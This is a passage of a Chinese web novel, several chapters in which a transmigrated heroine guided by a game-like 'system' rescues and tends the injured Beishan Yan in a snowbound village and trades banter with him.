“怎么,还在想今天的事?”李念儿睁开眼睛,轻声问道。 庄非鱼闭了闭眼。 她想到北山鄢满指缝的血,和那双颜色迥然的眼眸。 他的眼神像溺入深海的雪,仿佛下一秒就会消融不见。 沉默片刻,她偏头问李念儿: “人能弑神吗?” 风静止一瞬,李念儿的睡意倏然消弭。 她坐直身体,眼神锐利,一字一句回答: “绝不可能!” “为什么?”庄非鱼的声音嘶哑,“蚁多还能咬死象呢。” “你玩过聚米画沙吗?”李念儿转头问她。 庄非鱼摇了摇头。 “汉光武帝刘秀征战陇西,行至扶风,因地形险阻,众将领皆不同意冒险深入。这时,扶风出身的将领马援在帝面前,用大米聚成山谷,复原地势,分析军情,说陇西军必败,说服光武帝冒险行军。” 李念儿向她解释完毕,疲惫地闭上眼: “于神明而言,我们不过是沙盘推演中的数字,米粟沙砾般的死物,连蝼蚁都不如。死物……怎么可能弑神。” 庄非鱼呼吸一滞,不可思议地望着李念儿。 这位熙国郡主,满门皆亡的孤女,除魔司最低等的女官……竟然在冥冥中触及了世界真相。 “快睡吧,明天的事儿还多着呢。” 李念儿婉劝最后一句,蜷曲双腿,闭起眼睛,手里紧紧抱着她的银白小箱。 庄非鱼转过头,跟着闭上眼,强迫自己去睡。 她的身躯疲惫极了,大脑却出奇活跃。 今夜种种在她脑海一一回放,坐了不到半柱香的时间,她猛然起身。 “你们先休息,我去后山一趟,很快回来。” 她小声叮嘱李念儿,转身离开。 走到岔路口,她鬼使神差地回头看了一眼。 几个朋友各自蜷缩起来,像报团取暖的流浪 27. 救是不救 《反派,但决定摆烂》全本免费阅读 “咚”的一声,两人紧紧抱在一起,重重跌入雪地,溅起雪花纷纷。 北山鄢后背朝下,庄非鱼则毫发无伤。 在落地前,他刻意垫在下面,护住庄非鱼。 良久,庄非鱼手撑雪地,翻身坐到一旁,重重喘息,平复动如擂鼓的心跳。 她偏头,目光复杂地望着北山鄢。 她不明白。 坠崖之时,北山鄢为何以身为盾,紧紧护住她? 明明他俩素昧平生。 游戏公司将男主的善良属性加满了吗? “喂!” 她一手拄地,侧身戳了戳北山鄢的脸。 北山鄢没有答应。 他无声无息躺在那儿,脸色比地上的积雪还要白上几分。 简直像尊冰雪塑成的玉像。 她又捏了捏北山鄢的右脸,仍不见他答声。 不会是死了吧? 庄非鱼悚然一惊,伸出指尖探他的鼻息。 呼吸微弱而声低,但维持着没有停息。 她松了一口气。 清晨的阳光洒落到北山鄢脸上,在积雪的反光下,他的容颜光华刺目,一时竟不能直视。 庄非鱼眯了眯眼,站起身来,抖落满身薄雪,望着无边无际的积雪平原,茫然问系统: “如意村在哪?说好的下一个任务点呢?” 系统“嘀”了一声,闪现出来: “如意村在您正东方向8公里处。” “降落点错了?”庄非鱼疑惑。 “方圆20公里内都属于如意村的降落点呢~” 系统可爱地回答。 庄非鱼沉默片刻,吐出一句: “我谢谢你啊。” 选了8公里,而不是20公里。 她望了望无尽山川雪原,又低头看了看北山鄢,苦恼地问系统: “能重新选择降落点吗?在村口不行吗?” “不可以。” 系统冷冰冰地拒绝。 “狗系统,管杀不管埋!” 庄非鱼气的砸了拳空气,最后认命地蹲下身,苦恼地盯着北山鄢。 怎么才能把这个大活人运到8公里外? 只能靠两条腿了。 她双手伸过去,用力拉起北山鄢一只手臂。 本以为会很重,没想到轻轻松松就拽了起来。 昏迷的北山鄢径直撞进她怀里,撞得她跌倒进雪堆。 庄非鱼这才想起,自己还开了1小时力大无穷功能。 得趁这1小时赶快到如意村! 她连忙扶起北山鄢,像抬起一张纸一样,轻松背起他,朝太阳升起的方向快步跑过去。 一夜未吃未睡,辛苦奔波,她已经筋疲力尽。 她现在只想快点跑到如意村,饱饱吃一顿,美美睡一觉。 东方霞光万道,金辉灿烂,庄非鱼避开夺目天光,只是埋头狂奔。 不知跑了多久,她抬头,看见前方有低矮的村庄。 是不是快到了? 她心中喜悦,打算一鼓作气奔到目的地,肩膀却猛然一沉。 踉跄几步,她半跪在地,心中了然,是1小时技能到了。 纤细的手臂无法承受一个男人的重量,北山鄢很快从她背后滑落,重重砸倒在地上。 庄非鱼连忙扭头去看,眼前却猝地一黑。 她的脑袋昏昏沉沉,四肢不听使唤地栽倒下去。 失去意识的最后一刻,她心想: 完蛋,要饿晕了。 * 正午,太阳高悬到头顶,积雪开始消融。 瘦小的金穗背着柴禾,手里握着斧子,在雪地吃力行走。 家里只有她和哥哥两个人,哥哥去山上打猎,她便跟在后头悄悄砍了点柴火。 天光照耀白雪,炽烈又刺眼,金穗眯着眼睛,凭感觉回家。 不知什么挡在脚下,她一个趔趄,埋头跌倒进雪里,树枝哗啦啦摔出去。 “呸呸。” 她面无表情地抬头,吐出口中的雪团。 然后撑手起身,拍走头上脸上的雪花,边扑打衣服,边低头去看。 是什么东西挡在路边? 她低头,看见一团洁白似雪的斗篷,下面不知裹着什么。 她蹲下身,轻轻掀开斗篷的帽子,看见一张如梨花般白皙娇嫩的脸颊。 好漂亮的姐姐! 金穗怦然心动。 她一定是地主家的女儿! 金穗挪了挪脚,不小心踩到一根枯枝,嘎吱声吓了她一跳。 她以为姐姐醒了,看见自己偷看的模样,吓得手忙脚乱合上兜帽,大气都不敢喘。 过了一会儿,她发现是自己吓自己,这才松了一口气。 突然,她发现斗篷下面还有一个人,看身形像是个年轻男子。 女子半边脸颊枕在男子胸口,斗篷散落下来,遮住男子的脸颊。 莫非是哪家小姐和书生私奔? 金穗想起村里神婆讲过的爱情故事,不由得胡乱猜想。 她小心翼翼挪动步子,挪到男子那边,然后轻轻掀起斗篷。 昏迷的男子仰面朝上,半张脸如水月观音般澄澈秀美,俊极雅极;另外半张脸则布满蛛网般密密麻麻的血丝,邪气妖冶。 “啊,鬼!” 她踉跄后跌,惊叫出声。 金穗咽了咽口水,右手胡乱抓了根枝条,挡在胸前,担心“鬼”突然睁开眼睛杀她。 但直到她起身,跑了好几步,那个“鬼”都静静躺在地上,没有睁眼。 她想了又想,走了又回,还是舍不得自己辛苦砍的柴火。 于是从最外面开始捡,直捡到两个昏迷的人身边,她才猛然想到: 她曾见过别人脸上有血丝的! 冬天天冷,很多女孩子都会冻伤脸颊。 他的左脸也许是冻伤的。 这么一想,她不再害怕,大胆地捡完柴禾,重新收拢,然后站 28. 轻薄两次 《反派,但决定摆烂》全本免费阅读 庄非鱼是被冻醒的。 她哆嗦着睁开眼,先是看见昏暗的房梁板,上面一层厚厚的灰垢和蛛网。 然后动了动眼珠,偏头朝里看,看见北山鄢如玉的侧脸。 有人把他们救回来了。 庄非鱼心想。 她手指动了动,身体像大病一场一样虚弱,肚子饿的火烧火燎,翻滚着直烧心肺。 “系统,能赊点饭不?”她喊了一声。 系统现身,显示器上出现一个为难的表情: “食物只能去商城购买呢。” 可能觉得庄非鱼状态确实太差,它人性化地思索一下说: “检测到您的手掌受了伤,系统免费为您疗伤一次,作为奖励~” 说罢飞到空中,投射出一道白光。白光照到庄非鱼身上,将她手腕脚腕的伤口瞬间恢复。 门“吱呀”一声打开,系统立刻隐身,庄非鱼转头望向门口。 一个小姑娘,黑瘦黑瘦的,穿着短了一截的破烂布袄,端着碗朝她走过来。 “你醒了?这么赶巧?” 小姑娘似乎很惊讶。 见庄非鱼眼也不错地盯着饭碗,她有些不情愿地递碗过去: “你能起来吗?要不要喝点小麦粥?” “好。” 庄非鱼咽了咽干渴的喉咙,挣扎起身,接过清澈见底的稀粥,在小姑娘呆愣的眼神下,一饮而尽。 “这么快就喝完啦?”小姑娘满眼的不可置信和痛心。 看见她瞪圆的双眼,庄非鱼这才意识到,自己好像不小心多喝了一点,超出这个贫穷小女孩的供给范围了。 “这是哪儿?是你救了我们吗?”庄非鱼张口询问。 小姑娘点了点头: “这是如意村,我从雪地里把你们拖回来的。” 下一秒,系统的声音在脑海里响起: “嘀——扫描地图如意村,武林盟主金穗线已开启,请跟随金穗,查探她有没有异常吧。” 随着系统话音,庄非鱼眼前逐渐浮现一行文字: 【武林盟主金穗,天姿灵秀,超凡脱俗,五弊三缺,六亲无靠。状态:可攻略。】 武林盟主? 天姿灵秀,超凡脱俗? 这些形容词和眼前黑瘦的小女孩能搭上任何关系吗? 庄非鱼试探问: “你叫什么名字?” “我叫金穗!”金穗脆生生地开口,声音倒是悦耳动听。 她眼珠一转,看了看庄非鱼,又看了看昏迷的北山鄢,好奇地问: “你们是私奔出来的吗?” “为什么这么说?”庄非鱼不明所以。 “故事里都是这么讲的呀,大家小姐喜欢赶考书生,但是家里不让他俩好,于是他俩就偷偷私奔……”金穗扑闪着眼睛回答。 见小女孩一脸天真,庄非鱼裹紧斗篷,哈了口气,面不改色开始胡编: “什么小姐和书生?他是我的马夫!” “我不信,怎么会有这么漂亮的马夫?”金穗听得直摇头。 “怎么不会?你看有钱人家招奴隶,不都招一些漂亮英俊的吗?” 庄非鱼一本正经地忽悠金穗,一转头,却看见北山鄢不知何时睁开眼,正静静望着她。 胡说八道被当事人抓包,庄非鱼脸一红,不好意思地辩解: “我逗小孩玩的。” 然后立刻转移话题,问北山鄢: “你的身体……还好吗?” “不太好。”北山鄢微微摇头。 他的五脏六腑牵扯着钝痛,双腿更是动弹不得。 庄非鱼猜测他饿了,侧身嘱托金穗: “劳烦再给我一碗粥。”见她家徒四壁,又补充一句,“我给你银子。” 听到“银子”,金穗眼睛一亮,小鸡啄米似的点了几下头,欢欢喜喜离开。 房间冷得出奇,北山鄢身上仅盖着那件溅血的白色大氅。 可他并不觉得寒冷。 胸口强劲跳动的心脏,正为全身,尤其是左眼输送大量血液,维持他的生命。 亦维持丹心灯草灼热的燃烧。 囚禁喋喋不休的神明。 黎颂在他脑海里大喊大叫,骂淼淼愚蠢,骂鹿襄无用,骂他以下犯上,骂小鱼滥做好人。 骂累了,坐在地上对他说好话。 “灵衍,这里面太太太无聊了,你至少给我个手机玩呗~” 黎颂双手合十,在宫灯中轻眨眼睛。 “怎么取呢?”北山鄢温柔问她。 “你把意识集中在左眼,默念三遍‘系统’,再点最上面的商城,就可以了。”黎颂撺掇他。 北山鄢聚焦意识在左眼,薄唇微动,眼前骤然出现一只身披熊熊烈火的金色凤凰。 这神异的画面令他瞳孔一缩,双手下意识地抓紧大氅,却突然听到庄非鱼在喊他。 “你的后背疼不疼?还能坐起来吗?” 庄非鱼问他。 北山鄢转头,凤凰跟着移动,最后映到庄非鱼脸颊上。 她毫无察觉,只是担心地伸手过来,在北山鄢虚焦的眼睛前晃了晃。 凤凰身前,一道古朴苍老的卷轴徐徐拉开,上面逐渐浮现九天玄女的缩小人偶并几行字迹。 【尊号:九天玄女】 【LV9999:上古神仙,众真之长】 【祂自涅槃中诞生,以神威降服众生】 【神弃大陆:主线、支线、地图、角色】 【背包】 【商城】 【充值中心】 【论坛交流】 【设置】 北山鄢初窥神明领域,心跳一紧,他撑着双臂,试图坐起身。 浑身剧烈疼痛,这简单的动作,却让他血色尽失,冷汗涔涔。 “欸,算了,你别起来了!” 庄非鱼见他神色,就知受了不轻的伤,焦急地俯身过去制止他。 “总要起来的。” 北山鄢苍白着脸微微一笑,强撑着坐起身,用意识点击【商城】。 商城页面一片灰色。 他选择了一瓶清水,却点不开。 获得了进入神明领域的方法,他心情极好地调侃一句: “看来九公主没有手机可玩了。” “啊!?” 黎颂瞪大眼睛。 竟然连系统商城都用不了! “该死的墨云声!该死的阴阳宫灯!” 她跺脚咒骂几声,然后双手合十,装起可怜: “灵衍,北山鄢,鄢鄢,你就放我出去吧,我保证离你远远的,再不犯事!” 北山鄢瞧她痛苦的神色,心中快慰。 少年时刺进心口的剑,正一点点拔出,刺入加害者的胸膛。 他痛快一笑,身躯放松,不自觉仰头后靠。 庄非鱼一直担心看着,看他后背渗出的血迹,手背青紫的伤痕,以及使不上一点力气的双腿。 看他凭借自己的能力一点点坐起来。 直到现在,终于忍不住了。 后面是这家人放衣物的矮柜,再不出手,他那伤痕累累的后背就要再次遭殃了。 有几条命呀这么折腾? “小心!” 她半跪起身,想扶住北山鄢的肩膀,没想到动作太急,幅度太大,身躯向前倾倒,嘴唇不小心贴到他苍白的唇上。 庄非鱼脑袋 29. 轻薄三次 《反派,但决定摆烂》全本免费阅读 “我去问问金穗有没有大夫。” 庄非鱼转身,北山鄢却忽然拉住她的手臂: “等一下。” 庄非鱼被迫回转过去,顺着惯性,差点摔在床榻边上。 千钧一发之际,她的左手挥舞几下,下意识扶住北山鄢身后的柜角。 她还记得不能压到北山鄢的伤腿。 于是下半边身体悬空,全身重量都落在上半身。 她的脑袋不受控制地低下,双唇轻轻擦过北山鄢的唇角,最后垂落到他的脖颈一侧。 心口捶如擂鼓,惊魂未定,她深深喘息。 待庄非鱼平复心跳后,北山鄢扶她起来,用清凌凌的眸子瞅她。 庄非鱼莫名有种罪恶感。 “我……我不是故意的!”她心虚地跳起来,结结巴巴。 然后逃也似地扔下一句: “我去给你找大夫!” “等等。” 庄非鱼疑惑转身,映着雪光,看北山鄢从容端坐,神色无奈。 他指了指门外的夜色,道: “天色已晚,不如明日再去。” 连着轻薄北山鄢两回,庄非鱼实在不好意思和他同处一室。 她绞尽脑汁,灵光一闪道: “你一定饿了吧,我去看看粥好了没有。” 说罢逃也似的离开。 走到门口时,她听见北山鄢轻道一声: “劳烦姑娘了。” 快步踏出房门,借着雪色,庄非鱼半仰着头,摸摸发红的脸颊,暗骂自己没出息。 不就亲了两下嘛,脑袋的弦怎么就断了? 还脸红成这个样子。 不过美到北山鄢这个级别,怎么反应都不为过。 他是现实世界不存在的纸片人,是无数心理学家针对人性弱点,精心设计出来的完美人物,谁能不爱他? 这么一想,庄非鱼清醒过来。 她扫视小院,见西南角的小房子亮着火光,猜想这便是厨房,于是轻快走过去。 走近几步,柴禾燃烧的烟熏气钻入她的鼻间,她伸出僵冷的手指,敲了敲木门,试探问: “金穗?” 等了几息,门吱呀一声打开。金穗绑着松散的麻花辫,返回灶台前,双手合十,念念有词。 庄非鱼走近一看,发现灶台边上开了一个方形小洞,里面放着一个头戴金黄冕旒,身着锦绣霞裙的神女石像。 石像前摆着一个小香炉,香炉里插着三支未燃尽的线香。 香炉旁是一个大碗,里面装着满满的一碗麦粥。 金穗跪在神像前,虔诚祈祷: “弗玉娘娘,信女知道您不同意救这两个人,但他们毕竟也是两条人命,还这么漂亮,我实在没办法见死不救,只好给您多多烧香,多多供奉。以后我只要给他们吃一粒麦子,就给您供奉两粒,您这么仁慈,一定能原谅的对吧。” 庄非鱼在一旁听着,越听越觉得离谱。 她环视一圈,看这家穷得家徒四壁,好好一个厨房,比外面雪地都干净,不禁失笑问: “你自己吃的都没有,怎么给神仙供了这么多?” “不许冒犯神女!” 金穗睁开眼睛,恼怒地瞪了她一眼,然后委屈地嘀咕: “我还不是为你们好……” 庄非鱼见她拜完弗玉娘娘,又去拜昊天大帝,用的还是同一套说辞。直到两个神仙都拜完,才舀起锅底仅剩的一点麦粥,递给庄非鱼。 “喏,给你的仆人吃吧。” 庄非鱼接过问她: “村里有治骨折的大夫吗?” “没有!”金穗头摇的像拨浪鼓,“县城才有大夫,可是雪太大,去县上的路都被封掉了。” 这就难办了。 庄非鱼捧着清粥,垂下眉眼。 饶是她再没常识,也知道骨折后要尽快正骨,拖久了畸形愈合,未来恐怕会走路跛行、不良于行。 趁粥尚热,庄非鱼立刻端回屋,递给北山鄢。 听北山鄢道了声谢,慢条斯理地喝了一口后,庄非鱼抿了抿唇,说道: “村里没有大夫,大雪封山了,也没法去外面。” “小村向来如此。” 北山鄢丝毫不觉得意外。 他仰头,将粥水一饮而尽,放下碗,微微偏头望向庄非鱼: “劳烦小鱼替我找些树枝,方便正骨。” “你会正骨?” 庄非鱼惊讶地瞪大眼睛,然后很快点了点头: “我去捡些直点儿的树枝。” 院子里就有柴禾,庄非鱼告知金穗后,认真挑拣起来。 “往里面找,里面的又宽又直。” 金穗大喊一声,铲起灶台里快燃尽的柴火块,塞进他们房间的土炕孔道里。 庄非鱼听了她的话,先是捡了十来根笔直的细棍,突然想起在现代见到的骨折固定夹板,又找了两根小腿粗的木柴。 她颠了颠干硬的木头块,问金穗: “砍柴的斧头在哪里?” 金穗紧紧塞上土炕孔道,在满院子的烟雾中,指了指厨房: “在门后搁着。” “多谢。” 庄非鱼放下木柴块,去墙角拿出斧头,将木块劈成半本书的厚度,连劈四块。 然后握住斧头柄,顺着木材纹理,将四片木板修理成小腿宽度,才满意地抱起这把木柴,带它们回房。 到房间后,北山鄢正挽起裤腿,双手一点点向上,从脚踝捏到膝盖。 捏到小腿中间偏上一点的位置时,他闷哼一声,汗珠滚滚落下。 庄非鱼连忙将木头放到床边,想张口问问,又怕打扰他,便站在床边揪住袖角,担心地望着他。 三息过后,北山鄢苍白着脸,抬头与她相视,眼眸弯了弯。 “找到骨折的部位了?”庄非鱼扶在床边问。 北山鄢手指轻移,虚指到膝盖下近三寸的位置: “就是这里,向左移位了些。” 他无奈地、稚气地呼了一口气,眼神带着淡淡的请求: “我一个人力有不逮,小鱼能否帮我复位?” “我?”庄非鱼愣了一下,“我从来没有帮别人正过骨。” 她有些无措,环视了下房间,发现目前只有她能帮上忙了。 于是她握住双手,对北山鄢一再强调: “这是我第一次帮别人正骨,你说怎么办我就怎么办,一定要说得详详细细哦。” “放心吧,很简单的。”北山鄢失笑。 他握住庄非鱼的手,覆在自己腿上,慢慢移动。 庄非鱼怕伤到他,用劲极轻,北山鄢反而用力一握,对她说: “用力些,感知伤到的部位。” 庄非鱼深呼吸一口,顺着骨头向上捏。 捏到骨头断裂处,她惊喜地抬头: “我感觉到了,这里向外突起一个尖尖的角。” 见北山鄢肌肉紧绷,紧皱起眉,她连忙松 30. 百般试探 《反派,但决定摆烂》全本免费阅读 两人的微妙气氛没维持多久,金穗就抱着被子进来了。 她从被子里探出脑袋,睁着黑白分明的眼睛,看看庄非鱼,又看看北山鄢,说: “我家只多了这一个屋子,你们要挤一挤啦。”她放下灰白的被子,“也只有这一个被子,我哥哥盖的,借你们一天。” 庄非鱼连忙起来接住被子,以免这个小女孩跌倒。 她低头看了看,被子上面虽然打了不少补丁,但也还算干净。 只是他们有两个人,却只有一床被子,给谁盖呢? “收回去吧。” 背后突然传来北山鄢的声音。 庄非鱼回头一看,见北山鄢扬了扬身上大氅,对金穗道: “房间够热,我们也有御寒的衣物。” 北方的土炕极热极暖,确实不需要更多的被褥。 “哦……那我回去睡觉啦。” 金穗点了点头,又抱起那叠灰白的被子离开了。 金穗走后,庄非鱼瞅了瞅北山鄢的伤,又看了看脏污不堪的地上,轻吸了口气: “你带着伤呢,我睡地上吧。” 北山鄢知道地上脏,失笑问她: “怎么,担心我轻薄于你?” “我是担心我轻薄你!” 庄非鱼瞅了他一眼。 “不差这一回。” 北山鄢杵着手臂,稍稍向里挪了挪,直到贴着墙壁。 庄非鱼犹豫了半晌,还是咬牙拒绝: “我睡觉不老实的,万一压着你……” 她想:这种黄土地看着灰尘遍地,说不定打扫打扫,铺些干草褥子,也能睡呢。 怎料她刚拒绝,就看北山鄢挣扎着要起身。 “你做什么?” 庄非鱼赶快抓住他的手背,压下去。 “让救命恩人睡在地上,我于心难安,只好下来陪你。” 北山鄢苍白着脸,手背青筋绽起,反手握住她的手心,就要借力起来。 “好啦,我睡上来就是了。” 庄非鱼抽回手,心里有些不好意思,她抱起披风深呼吸几口,慢慢挪上床。 上去后,两人楚河汉界,泾渭分明,中间还空了半人的距离。 她松了一口气,整理披风时,眼神掠过北山鄢,带着一丝不经意的探究: “怎么每回见你,都能看见你不同的一面?” 少年老成算计黎颂的是你,不眠不休赈灾赎罪的也是你; 游刃有余挑逗郦之宁的是你,被无意吻到耳朵通红的也是你。 郦问衡贪污你无动于衷,却会因为我睡着地上良心不安? 究竟哪一面才是真的你? “面对不同的人,自然有不同的面孔。” 北山鄢低头,扯回大氅侵占的领域,给庄非鱼腾出地方。 “还未谢过姑娘,我的心脏破碎药石无医,神仙难救,没想到小鱼轻轻一握……就好了。” 北山鄢说得轻松,笑得愉悦,庄非鱼几乎汗毛竖起。 她瞬间想起十岁的北山鄢算计黎颂的场景。 一句套一句,稍有不慎,就有千层陷阱在前面等着。 她张了张嘴,脑海转过无数借口: 装傻,我也不知道怎么回事? 李念儿给的保命手段? 神明赐福,仙丹自动从我这儿跑出来? 北山鄢唇角带着一缕笑,眼神却极有压迫感。 他俯下身来,缓缓逼近,像猎人征服他盯住的猎物。 庄非鱼嘴巴微张,戒备地回望他,心如擂鼓。 两人距离越靠越近,忽然,北山鄢伸出手指,轻轻弹了小鱼脑袋一下。 “也吓你一吓。” 他嘴角带着揶揄,慵懒仰起身,弯起眉眼,开怀大笑。 “啊?” 庄非鱼愣了一下,回过神来瞪大眼睛,握起拳头就要锤他。 北山鄢状态松弛,毫不躲避,他的眼神游弋到房顶,又落到庄非鱼眉心处: “无论姑娘用什么手段救的我,我也承你的情。救命之恩无以为报,唯有……”他拉长声线。 以身相许? “不必!” 庄非鱼警惕,立刻拒绝。 “五千两黄金说拒就拒,姑娘果然视钱财如粪土。”北山鄢微微偏头,故作惊叹。 “什么?多少?!”小鱼震惊。 北山鄢又是一阵大笑,笑得几乎直不起腰来。他扬眉道: “逗你一逗。” 庄非鱼又发现他新的一面——促狭。 她重重一拍床铺,气成河豚: “五千两,一分都不能少!” 拍得自己手疼。 庄非鱼深深呼了一口气,觉得他是记恨自己不小心亲了他三次,才又吓又逗的。 她索性躺下去,用披风盖住自己,嘟囔一句: “真是小心眼,爱记仇。” 都说不是故意的了。 “我是气量狭小,斤斤计较,耿耿于怀,不能忘怀。” 北山鄢望着她散落在白色披风的头发,一字一句,低声慢语。 说罢,收起胳膊,慢慢躺下。 他用大氅盖住自己,嘴角仍带着笑。 第一次被人如此“冒犯”,当然得找回场子。 “这下我们扯平了,翻篇!” 庄非鱼一骨碌翻身坐起,下了最后通牒,然后直挺挺躺下,摸了摸通红的脸颊,闭上眼睛,和衣而睡。 * 第二天,庄非鱼被一阵争吵声吵醒。 或许是前一天奔跑太累,亦或许是很久没睡过饱觉,她直睡到正午,太阳当空才醒来。 不知是谁在吵闹,庄非鱼眯起眼睛,迷迷糊糊望向靠窗而坐的北山鄢: “外头……” “嘘!”北山鄢手指放到嘴边,示意她噤声。 又听了几句,北山鄢才开口: “金穗的哥哥回来了,出门三天没打到猎物,想将我们送走。” 庄非鱼瞪了会儿屋顶,发了会儿呆,等意识回笼,才慢慢坐起来。 “梳洗的东西在那边。” 北山鄢朝矮柜上点了点下巴。 庄非鱼点了点头,边揉眼睛边在身上摸寻: “我身上还有半两银子呢,让我找找。” 杨阿妈给的半两银子还没花呢。 她胡乱摸了一会儿,在衣襟里、袖子里、腰带里都没找到。 只好两手空空,拍拍脑袋,尴尬一笑。 “好像丢了……” 冬日阳光透过窗棂,在北山鄢脸上洒落一缕柔和的光亮。 他抬起白皙修长的手,抽出发间的竹节青玉簪,黑如鸦羽的发丝落下,他将玉簪递给庄非鱼。 “将此物送给主家吧。” 门外的吵闹声愈发加大,庄非鱼点了点头,伸手接过。 她穿上靴子,快快洗漱一把,拿着青玉簪子走出去。 门口是一个颇为健壮的男孩,看上去只有十五六岁,他紧握拳头,高声叫嚷着: “家里连祭祀弗玉娘娘的粮食都没有了,畜生全躲进雪里了,这个冬天,我们自己都会饿死,你还捡人回来?” “我做的是好事,弗玉娘娘会保佑我们的!” 金穗也不服输,扬起小脸和男孩争辩。 “金穗——” 庄非鱼在门口喊了一声,打断他俩的争吵。 两个小孩齐齐转头。 看到一个漂亮大姐姐,金禾一下子泄了气,他抿了抿唇,原本的凶狠生气变成腼腆害羞。 他低头,往金穗后面躲了躲,不好意思看庄非鱼。 庄非鱼看着好笑,便向金穗招了招手。 金穗小跑过来,庄非鱼牵起她的手,将那支青玉簪放进她的手心。 “大雪封山,我们也没法出去,你看这枚簪子能不能换点粮食,当做借住的费用?” 金穗低头看了看,竹节状的青玉簪散发温润的光泽,一看就价值不菲。 “我不要。” 她脸颊红红,将簪子小心递回去。 “为什么不要?这是你应得的。” 庄非鱼再次递给她。 金穗背过手去,脑袋摇的像拨浪鼓一样: “不能吃又不能喝,村里没人愿意换的。” 庄非鱼愣了一下。 竟然是这个原因? 可是什么也不给,就在人家里白吃白喝,自己心里也过意不去。 她弯腰牵起金穗的小手,一边将青玉簪塞进她手里,一边解释: 31. 别生气啦 《反派,但决定摆烂》全本免费阅读 同一时间,北山鄢临窗而坐,看着外面的炊烟白雪。 在他的左眼里,小小的黎颂睡醒起来,不停大吵大嚷。 北山鄢没有接话,直到黎颂发完疯,才静静问她: “凤凰图腾前的‘设置’,是用来放你那几千条衣裙吗?” “什么?”黎颂一脸懵逼。 她歪头想了一下“设置”,发现北山鄢原来是问游戏界面的设置按钮,不由得哈哈大笑: “放裙子?你是怎么想出来的?太逗了你!” “‘设置’不就是布设的意思吗?难道还有其他异义?”北山鄢故作不解。 黎颂笑的上气不接下气:“当然不是啊,设置是指——” 话到嘴边,她突然刹住,警惕地竖起耳朵: “北山鄢,你是不是又在套我话?” “你我闲谈,怎么能叫套话?”北山鄢声音轻柔,表情莞然。 “是庄非鱼告诉过你,我套过你的话?”他继续问。 “小鱼她,”黎颂迟疑了一下,大声反驳,“关小鱼什么事?” 小鱼…… 北山鄢心想:又是一位“神明”。 “那她……” “停!”黎颂大喊一声,“你的心眼子太多了,我再也不要和你说话了!” 北山鄢停下话,继续看着炊烟白雪。 他想:庄非鱼出去会带些什么回来? 以她的谨慎,不至于带山村里不存在的食物,多半是馒头、野菜一类。 庄非鱼在雪地里,却不像北山鄢想象的那么轻松。 她累得像条饿了三天三夜,鼻子前还挂着胡萝卜的,拉磨的驴。 走到两脚发软,两腿发酸,眼皮几乎耷拉的程度,才走完8公里的路程。 “嘀——您已查探完第二块地图,奖励1000星币,扣除赊欠的99,结余901星币。” “快!”庄非鱼蹲在地上,虚弱喘息,“快给我兑个馒头,加瓶水,最便宜的。” “叮咚”,清脆的扣钱声响起,一个大白馒头并一瓶纯净水出现在非鱼手中。 她狠狠咬了一口馒头,近乎狼吞虎咽,接着拧开瓶盖,灌下一大口水。 三两下吃完,还是没什么饱腹感,她索性一边往回走,一边查看系统商城有什么能兑换的食物。 炸鸡可乐好是好,就是太贵,30星币能换30个馒头呢。 螺蛳粉米线好吃是好吃,奈何自己太穷,901星币可经不住这样吃。 选了半天选不出来,她舔着牙尖,切换到药物一栏,先花了50星币,给北山鄢买了点止痛药、消炎药和钙片。 再切到食物一栏,看了半天,发现大都是带包装的速食。 她想:实在不行就买点馒头,回去就说是用手镯换的? 但在下单前,她突然看见食物旁边有宠物一栏。 点进去,从小鸡仔到大熊猫应有尽有。 庄非鱼眼睛一亮。 当刷到200斤野猪,一头仅要20星币时,更是当机立断,果断拿下! 不是炸鸡不好吃,而是野猪更有性价比。 她立刻下单,选择兑换,一头野猪凭空出现,哼哼着就要撞到庄非鱼身上。 庄非鱼立刻朝旁边树上一闪,野猪脑袋重重撞上大树。 趁它病,要它命!庄非鱼拎起系统,朝野猪头上不停砸过去。 砸了不知多少下,在系统滋滋乱叫中,野猪终于倒在地上,没了呼吸。 下午,等不到人的金穗金禾两兄妹跑出来寻找。 寻到三公里外的树林时,金穗看见庄非鱼坐在树下,手撑下巴,苦恼地望着面前肥硕精壮的野猪。 “是这样的,我一出门就看见一头大野猪撞死在这里。” 庄非鱼托着下巴看他们,表情无辜。 金穗张大嘴巴,惊得说不出话来。 兄妹俩叫了几个人,欢欢喜喜把野猪抬回家,烧火做肉。 庄非鱼疲惫回屋,坐在床边,半趴在矮柜上歇息。 北山鄢脸上流露出不能理解的困惑: “你带回了一头……猪?” “没错,它想撞我来着,结果撞到树上自己死了。” 庄非鱼理直气壮地点了点头。 北山鄢一时语塞。 没想到庄非鱼这么务实。 他沉默了下说:“很古典的死法。” “古典?”庄非鱼不明白。 “古有宋人守株待兔,今有小鱼守株待彘。” 北山鄢话中带着调侃。 “运气,运气。” 庄非鱼尬笑两声。 门外几个帮忙的人赖着不走,非要帮金穗杀猪,兄妹俩几次三番婉拒,说这只野猪不是他们猎的,也阻挡不了村里人的热情。 庄非鱼伸手摸了摸炕席,昨天的灶灰燃尽,上面已是一片冰冷。 有个疑问藏在她心里好几天了,搞得心情乱七八糟的,她向来不爱藏事儿,索性望着北山鄢,问了出来: “你究竟做了什么,让整个荔城的人都喊着杀你?” 北山鄢没有回答。 他微眯起眼,审视的眼神落到庄非鱼脸上。 空气滞塞了十几秒,他才慢慢开口: “你以何身份来问?” 被他这么一审,庄非鱼心跳乱了一拍。 她想了想,小心回答: “以除魔司斥候的身份。” “我是正三品的巡按,和除魔司掌印平级,你以斥候的身份审我?” 北山鄢不紧不慢的反问。 面对他的反诘,庄非鱼凭空生出许多压力来。 她咬了咬唇,谨慎开口: “以除魔司的名义。” “五品以上,由除魔司掌印亲审,你何来资格?” 北山鄢语气不疾不徐,话里却带着刺人的锋芒。 “好吧,我撤回。” 庄非鱼无言以对,干脆收回话题。 她双手一撑,跳下床去,给金穗金禾帮忙。 北山鄢一反前日温和的咄咄之态,让她心里很不舒服。 带着委屈的不舒服。 明明之前还好声好气,说什么“救命恩人”的。 她憋着一股气,不知怎么调节,便去院里拎起斧子,使劲砍柴,把一腔委屈发泄到木柴身上。 厨房挤满来帮忙的村里人,庄非鱼砍了一会儿没力气了,又挤不进厨房,索性在院子里堆雪人。 堆得双手冰冷,手心发红,就放到嘴边哈气,抓耳朵取暖,一个人自娱自乐。 透过窗户,北山鄢看她玩得这样开心,心中不免有些懊悔,觉得自己方才语气过于冷厉。 也许是疼痛让他心力交瘁,也许是饥饿让他情绪失控,在那么一瞬间,他本性的傲慢化作尖刀,暴露无遗。 过了一会儿肉炖好了,庄非鱼的胖雪人也堆好了。 